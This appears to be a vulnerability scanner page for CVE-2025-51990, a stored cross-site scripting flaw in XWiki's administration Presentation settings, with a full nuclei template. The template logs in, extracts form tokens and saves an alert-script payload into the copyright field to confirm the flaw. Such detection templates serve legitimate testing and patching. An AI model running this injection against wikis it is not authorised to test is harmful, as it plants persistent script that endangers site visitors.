XWiki – Stored Cross-Site Scripting (XSS)

mediumseverity

5.4CVSS score

0.5%likelihood of exploitation, next 30 days

45%of all CVEs are less likely

Readycheck to confirm it

XWiki through version 17.3.0 contains stored cross-site scripting caused by improper sanitization of inputs in the Administration interface's Presentation section, letting authenticated administrators inject JavaScript that executes in visitors' browsers, exploit requires administrator authentication.

Impact

Attackers can execute persistent scripts in users' browsers, leading to session hijacking, credential theft, and unauthorized actions without user interaction.

Fix

Update to a version later than 17.3.0 or the latest available version.

How to confirm it

Send: GET /bin/login/XWiki/XWikiLogin
Send: POST /bin/loginsubmit/XWiki/XWikiLogin
Positive when: status_code == 302 and contains(location, '/bin/view/Main/')
Send: GET /bin/admin/XWiki/XWikiPreferences?editor=globaladmin&section=Presentation
Send: POST /bin/saveandcontinue/XWiki/XWikiPreferences ; GET /bin/admin/XWiki/XWikiPreferences
Positive when: status_code == 200 and contains(body, '<ScRiPt>alert(\'{{randstr}}\');</ScRiPt>') and contains(body, 'footerglobal')

Run it with nuclei: nuclei -id CVE-2025-51990 -u <target>

The full check

id: CVE-2025-51990

info:
  name: XWiki – Stored Cross-Site Scripting (XSS)
  author: 0x_Akoko
  severity: medium
  description: |
    XWiki through version 17.3.0 contains stored cross-site scripting caused by improper sanitization of inputs in the Administration interface's Presentation section, letting authenticated administrators inject JavaScript that executes in visitors' browsers, exploit requires administrator authentication.
  impact: |
    Attackers can execute persistent scripts in users' browsers, leading to session hijacking, credential theft, and unauthorized actions without user interaction.
  remediation: |
    Update to a version later than 17.3.0 or the latest available version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51990
    - https://github.com/malcxlmj/cve-writeups/blob/main/CVE-2025-51990.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-79
  metadata:
    max-request: 4
    verified: true
  tags: xwiki,xss,stored-xss,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /bin/login/XWiki/XWikiLogin HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: login_token
        internal: true
        regex:
          - 'name="form_token" value="([^"]+)"'
        group: 1

  - raw:
      - |
        POST /bin/loginsubmit/XWiki/XWikiLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        xredirect=&form_token={{login_token}}&j_username={{username}}&j_password={{password}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location, '/bin/view/Main/')
        condition: and
        internal: true

  - raw:
      - |
        GET /bin/admin/XWiki/XWikiPreferences?editor=globaladmin&section=Presentation HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: form_token
        internal: true
        regex:
          - 'data-xwiki-form-token="([^"]+)"'
        group: 1

  - raw:
      - |
        POST /bin/saveandcontinue/XWiki/XWikiPreferences HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        XWiki.XWikiPreferences_0_showannotations=&XWiki.XWikiPreferences_0_showcomments=&XWiki.XWikiPreferences_0_showattachments=&XWiki.XWikiPreferences_0_showhistory=&XWiki.XWikiPreferences_0_showinformation=&XWiki.XWikiPreferences_0_title=&XWiki.XWikiPreferences_0_meta=&XWiki.XWikiPreferences_0_webcopyright=%3CScRiPt%3Ealert%28%27{{randstr}}%27%29%3B%3C%2FScRiPt%3E&XWiki.XWikiPreferences_0_version=&form_token={{form_token}}&xcontinue=%2Fbin%2Fadmin%2FXWiki%2FXWikiPreferences%3Feditor%3Dglobaladmin%26section%3DPresentation&xredirect=%2Fbin%2Fadmin%2FXWiki%2FXWikiPreferences%3Feditor%3Dglobaladmin%26section%3DPresentation&classname=XWiki.XWikiPreferences&formactionsac=Save

      - |
        GET /bin/admin/XWiki/XWikiPreferences HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '<ScRiPt>alert(\'{{randstr}}\');</ScRiPt>')
          - contains(body, 'footerglobal')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from